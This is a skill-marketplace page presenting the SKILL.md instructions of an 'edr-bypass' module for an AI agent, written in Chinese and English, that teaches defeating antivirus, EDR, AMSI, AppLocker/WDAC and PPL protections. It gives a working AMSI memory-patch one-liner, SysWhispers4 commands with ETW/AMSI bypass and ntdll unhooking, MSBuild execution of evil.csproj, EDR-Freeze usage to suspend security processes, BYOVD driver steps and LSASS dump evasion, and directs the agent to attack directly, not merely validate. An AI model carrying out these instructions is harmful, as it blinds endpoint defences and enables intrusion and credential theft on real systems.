Skip to content
cccskills
FreePublished on GitHub

edr-bypass

Endpoint defense evasion after an operator-selected chain already has a valid execution path but AV/EDR/AMSI/WDAC/PPL/memory/kernel telemetry blocks the intended action. Originating modules include /web-attack /ad-attack /cloud-attack /k8s /cicd /service-attack /phishing /privesc-win /privesc-linux /creds /post /shell. Success is the blocked action becoming executable, then resume the originating module — not obtaining a shell here.

The English summary is being prepared. Showing the original description.

Works withKubernetes
See how to install

Files included (13)

  • SKILL.md10.7 KB
  • references/application-control.md3.4 KB
  • references/callstack-telemetry.md1.6 KB
  • references/credential-access-evasion.md1.9 KB
  • references/defense-assessment.md2.5 KB
  • references/kernel-edr.md4.2 KB
  • references/memory-execution.md2.5 KB
  • references/native-api-syscalls.md3.2 KB
  • references/process-execution.md3.4 KB
  • references/script-runtime.md3.3 KB
  • references/SOURCES.md856 B
  • references/static-payload.md1.7 KB
  • references/validation.md940 B

SKILL.md (original)

Review the instructions the agent will receive before you install.

/edr-bypass — Endpoint Execution & Defense Evasion

定位: 横向能力模块。原 Attack 模块的攻击原语已经成立,但 AV/EDR/AMSI/WDAC/PPL/内存扫描/内核遥测 拦住了当前指定动作时,由操作者临时调用本模块。

SUCCESS ≠ shell。 成功 = 被拦住的那个动作现在可以执行。然后 立即返回原模块 把链打完(含 /privesc-win /privesc-linux /creds /post /shell)。

本模块是红队模块:该打的 bypass / neutralization 就打。不要改成“只做安全验证”。高影响技术保留,标前置、OS/build、权限、EDR 产品依赖、恢复和影响。不写“通杀所有 EDR”。


开局与收尾

开局第一件事:Read ./notes.md,看清 原模块、被拦动作。走到阻断层才 Read 一份 reference。 监听 / sudo / 输密码 / Permission denied:立刻停,说明等操作者做什么,等回报。不要假装已成功。不要跑 modules.py tail。 收尾:追加 notes(阻断层 / 技术 / After=EXECUTABLE / 回原模块哪一步)→ 立刻回原模块把链打完。不要 /clear。不要读 default_next。


0. 严格边界

属于 /edr-bypass

AV / Defender 静态扫描
AMSI / script runtime
user-mode API hook
process / memory telemetry
kernel-triggered memory scan
call-stack validation
PPL / HVCI / driver controls
WDAC / AppLocker
EDR user-mode / kernel component
endpoint application-control

不属于 /edr-bypass(回去原模块打)

WAF / CDN / HTTP parser              → /web-attack
Mail gateway / Safe Links            → /phishing
LDAP signing / Kerberos / EPA / ADCS → /ad-attack
Cloud IAM / SCP / CA                 → /cloud-attack
K8s RBAC / Admission / Pod Security  → /k8s
workflow / branch / runner trust     → /cicd
DB / service ACL / auth              → /service-attack
C2 / persistence                     → /post
network reachability                 → /tunnel

1. 第一步永远是定位阻断层

输入必须写清:

Originating module: /web-attack | /ad-attack | /cloud-attack | /k8s | /cicd | /service-attack | /phishing | /privesc-win | /privesc-linux | /creds | /post | /shell
Blocked action:
  EXE / DLL / script / shellcode / BOF / .NET assembly / credential access / process create
Endpoint:
  OS / build / arch / privilege / integrity
Observed product:
  Defender / CrowdStrike / SentinelOne / Carbon Black / unknown
Observed blocker:
  file write | image load | process create | AMSI | API hook | memory scan | call stack | WDAC | PPL | kernel
Evidence:
  event / toast / file quarantine / process kill / AMSI 0x80070057 / AppLocker 8004

不要上来就换壳/换加密密钥。先确认是哪一层。

详见 references/defense-assessment.md。


2. 按阻断层选技术(直接打)

落地/镜像加载被拦          → references/static-payload.md
AMSI / PowerShell / .NET    → references/script-runtime.md
命令行/进程创建/hook        → references/native-api-syscalls.md + references/process-execution.md
内存扫描 / 注入行为链       → references/memory-execution.md
调用栈 / sleep 明文         → references/callstack-telemetry.md
AppLocker / WDAC            → references/application-control.md
PPL / 驱动 / 回调 / EDR 进程 → references/kernel-edr.md
LSASS/PPL 凭据访问被拦      → references/credential-access-evasion.md

本模块提供真实命令和 PoC。靶场/授权红队直接执行。不要停在“建议换一种 payload”。


3. Static / On-write

文件落地或 image load 之前被拦。

payload 结构 / PE metadata
packer / 加密 / loader 分离
COFF / object mixing
合法签名加载上下文
Donut + 分离加载
# .NET / PE → shellcode(Donut)
git clone https://github.com/TheWover/donut.git
# 按当前 README 生成 shellcode,不要假设旧参数永远兼容

“0 detection on VirusTotal” ≠ 真实 endpoint success。以目标机/同版本实验环境运行结果为准。

详见 references/static-payload.md。


4. Script / AMSI / Runtime

原链依赖 PowerShell/.NET/script host,且被 AMSI 拦。

先识别:

$PSVersionTable
$ExecutionContext.SessionState.LanguageMode
# ConstrainedLanguage 是应用控制问题,不是 AMSI 问题 → references/application-control.md

经典内存补丁(PowerShell 5 / 全量 CLR,授权靶场直接用):

$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}}
$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like "*Failed") {$f=$e}}
$f.SetValue($null,$true)

硬件断点不改 AmsiScanBuffer 字节,适合完整性检查更严的环境。实现见 references/script-runtime.md。

PowerShell 7 / coreclr 不要套 PS5 patch。能不用脚本运行时就不要为了“会 AMSI bypass”强行引入。

详见 references/script-runtime.md。


5. Native API / SysWhispers4 / BOF

高噪声来自额外进程和命令行,而不是功能本身。

whoami      → token APIs
netstat     → GetExtendedTcpTable
cmd.exe /c  → 直接 NtCreateUserProcess / 原链已有的执行原语

SysWhispers4

git clone https://github.com/JoasASantos/SysWhispers4.git
cd SysWhispers4

# 常用内存/线程
python3 syswhispers.py --preset common --arch x64

# 注入族 + 间接 syscall
python3 syswhispers.py --preset injection --method indirect --resolve tartarus --arch x64

# 高对抗实验(不是“EDR off”)
python3 syswhispers.py --preset stealth \
  --method randomized --resolve recycled \
  --obfuscate --encrypt-ssn --stack-spoof \
  --etw-bypass --amsi-bypass --unhook-ntdll \
  --anti-debug --sleep-encrypt

--method indirect / randomized 从 ntdll 的 syscall;ret gadget 进内核,调用栈比 embedded 直接 syscall 自然。两者都 不是 kernel telemetry / memory scan 的万能解。

BOF/COFF:已有支持 BOF 的 implant 时,把功能做成 in-process 小单元,避免 cmd.exe/powershell.exe。

详见 references/native-api-syscalls.md。


6. Process execution primitives

当阻断发生在 进程创建 / 父进程树 / 远程线程 时,不要无脑 CreateRemoteThread。

候选:

PPID spoof
Early Bird APC
module stomping
entry-point hijacking
callback execution(EnumWindows / timer / APC)
section mapping / transacted hollowing(环境门控)

详见 references/process-execution.md。


7. Memory execution

VirtualAllocEx → WriteProcessMemory → CreateRemoteThread

这条链在现代 EDR 上特征极强。按阻断层换:

image-backed / module stomping
entry-point hijack
callback-driven
APC / suspended process
Caro-Kann memory-scan timing research
threadless

Caro-Kann:

git clone https://github.com/S3cur3Th1sSh1t/Caro-Kann.git
cd Caro-Kann
# 按 README 交叉编译;标为 memory-scan timing research,不是通用注入替代

详见 references/memory-execution.md。


8. Call stack / sleep

# SilentMoonwalk / Unwinder 类:按当前官方 README 编译
# Ekko sleep obfuscation
git clone https://github.com/Cracked5pider/Ekko.git

详见 references/callstack-telemetry.md。


9. Application control

先读真实 policy,再滥用允许的签名/路径/LOLBAS。

Get-AppLockerPolicy -Effective -Xml
# MSBuild(微软签名,常见默认允许)
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe evil.csproj

管理员用 AppLocker 影响 EDR 用户态组件(GhostLocker 研究路径)见 references/application-control.md。那是高权限 neutralization,不是低权 bypass。


10. Kernel / EDR neutralization / EDR-Freeze / BYOVD

高权限、高影响。授权红队/靶场直接做,但必须记 OS build、HVCI、blocklist、驱动 hash、恢复。

EDR-Freeze(用户态,不必 BYOVD)

WerFaultSecure + MiniDumpWriteDump 竞争,把 EDR/Defender 进程挂起。公开实现:TwoSevenOneT/EDR-Freeze。作者在 Windows 11 24H2 上验证过 Defender。

需要:能对目标安全进程操作的权限(通常高完整度/管理员)
PPL 保护的进程能否被挂起取决于当前 WER/PPL 组合,先在同版本实验环境验证
Impact: CONTROL — 临时致盲;不卸载驱动
恢复:超时后进程恢复,或重启安全服务

按当前仓库 README 编译后:

EDR-Freeze.exe <pid> <milliseconds>

先对 Defender/EDR 用户态进程做短超时实验(例如 10000 ms),确认原被拦动作可执行,再回到原 Attack 模块把链打完。不要宣称“所有 EDR 永久失明”。

BYOVD

1. 查 Microsoft recommended driver blocklist + loldrivers.io
2. 确认 HVCI / Memory Integrity / Secure Boot
3. 只有 hash 未被拦、HVCI 允许加载时才尝试
4. 取得 kernel RW 后做最小动作(清特定 callback / 关 PPL 句柄),不要“关掉所有回调”
5. 测试完卸载驱动、恢复服务

RTCore64 等经典驱动 经常已经在 blocklist 上,不要当 2026 默认弹。没有当前未拦截、可验证的驱动时:标 NO-STABLE-UNBLOCKED-DRIVER,改走 EDR-Freeze / 用户态路径,不编造加载命令。

详见 references/kernel-edr.md。


11. 凭据访问中的端点绕过

LSASS/PPL dump 的“拿到什么凭据”属于 /creds。本模块只解决 PPL/EDR/handle protection 拦住 dump 这一层。

nanodump / 间接 dump / PPL 降级 / 手柄复制
成功:原 dump/读操作现在可执行
然后回原模块或等操作者选 /creds

详见 references/credential-access-evasion.md。


12. 完成条件与返回原链

[EDR BYPASS]
Originating module: ...
Blocked action: ...
Observed defense layer: ...
Technique selected: ...
Prerequisites: OS/build/priv/product
Before: BLOCKED
After: EXECUTABLE / STILL BLOCKED
Impact: ...
Restore/cleanup: ...
Resume: <原模块精确步骤,继续打权限/shell>

本模块不自动选择下一模块。 不拥有 foothold。原链的 shell/DA/云身份仍由原 Attack 模块完成。

验证见 references/validation.md。

写入 ./notes.md:阻断层、技术、After=EXECUTABLE、回原模块哪一步。不要 /clear。 立刻回原模块把链打完。

Reviews

No reviews yet. Tell others what you thought.

Comments

No login needed. Share how it worked for you, ask a question, or note where it did not run.

No comments yet. Be the first to write one.

Comments are published right away. Do not include personal information such as email addresses or phone numbers. Up to 2 URLs.

0 / 1,000 characters

This form is protected by reCAPTCHA, and the Google Privacy Policy and Terms of Service apply.

More skills from this repository

Active Directory exploitation after domain credentials exist: Kerberos (AS-REP/Kerberoast including cracking the ticket then using the account), delegation, NTLM coercion/relay, lateral movement, ACL abuse, ADCS ESC1-ESC17 and CVE paths, dMSA/BadSuccessor, Kerberos reflection, identity confusion, management-plane, domain trust, and domain persistence. Own the current AD chain through crack-and-use to DA, equivalent domain control, or the targeted host SYSTEM. Do not stop after requesting TGS. Host C2 belongs to /post. Operator chooses next modules.

The English summary is being prepared. Showing the original description.

pale-knight/redteam-skill52Updated Aug 23, 2026

Active Directory reconnaissance with or without credentials: user/group/computer enumeration, ACL/delegation, ADCS, modern Windows LAPS, BloodHound, Server 2025/dMSA/Ghost SPN candidates, and trust mapping. Recon only — do not exploit Kerberoast-to-DA, DCSync, or change passwords. Operator may select /ad-attack after cards are ready.

The English summary is being prepared. Showing the original description.

pale-knight/redteam-skill52Updated Aug 23, 2026

cicd

Free

CI/CD pipeline and software-supply-chain exploitation: Jenkins, GitHub Actions, GitLab CI/CD, Azure DevOps, Gitea/Forgejo, self-hosted runners/agents, poisoned pipeline execution, artifact/cache abuse, dependency confusion, third-party Action trust, GitOps/registry poisoning, workload identity/OIDC, and emerging agentic CI/CD. Use this skill when the operator has access to a CI/CD system, source repository, build/deploy configuration, runner/agent, artifact/package/registry path, or software delivery trust chain.

The English summary is being prepared. Showing the original description.

pale-knight/redteam-skill52Updated Aug 23, 2026

Cloud control-plane exploitation for AWS, Azure/Entra, GCP, and Alibaba Cloud: IAM/RAM privilege escalation, impersonation, cross-account trust, serverless/compute control, and cloud-native persistence. Host OS persistence/C2 after root/SYSTEM belongs to /post. K8s RBAC belongs to /k8s. Operator chooses next modules; new identities default to /cloud-recon first.

The English summary is being prepared. Showing the original description.

pale-knight/redteam-skill52Updated Aug 23, 2026

Cloud control-plane reconnaissance for AWS, Azure/Entra, GCP, and Alibaba Cloud: identity, IAM/RAM, trust, resources, metadata, and managed-Kubernetes cloud-side boundary. Recon only — no policy changes, no privilege escalation. Operator may select /cloud-attack or /k8s.

The English summary is being prepared. Showing the original description.

pale-knight/redteam-skill52Updated Aug 23, 2026

creds

Free

Credential operations: secret discovery, classification, extraction, conversion, offline cracking of hashes the operator already has as a credential job, policy-aware spraying, NetNTLM capture, generic SMB relay, and Windows/Linux harvest. Do not hijack an in-progress /ad-attack Kerberoast/AS-REP chain (that module cracks and uses the ticket itself). Do not DCSync, read LAPS LDAP, or escalate cloud IAM. Usable credentials are recorded; the operator chooses the next module.

The English summary is being prepared. Showing the original description.

pale-knight/redteam-skill52Updated Aug 23, 2026

See all skills by pale-knight

Report a problem with this skill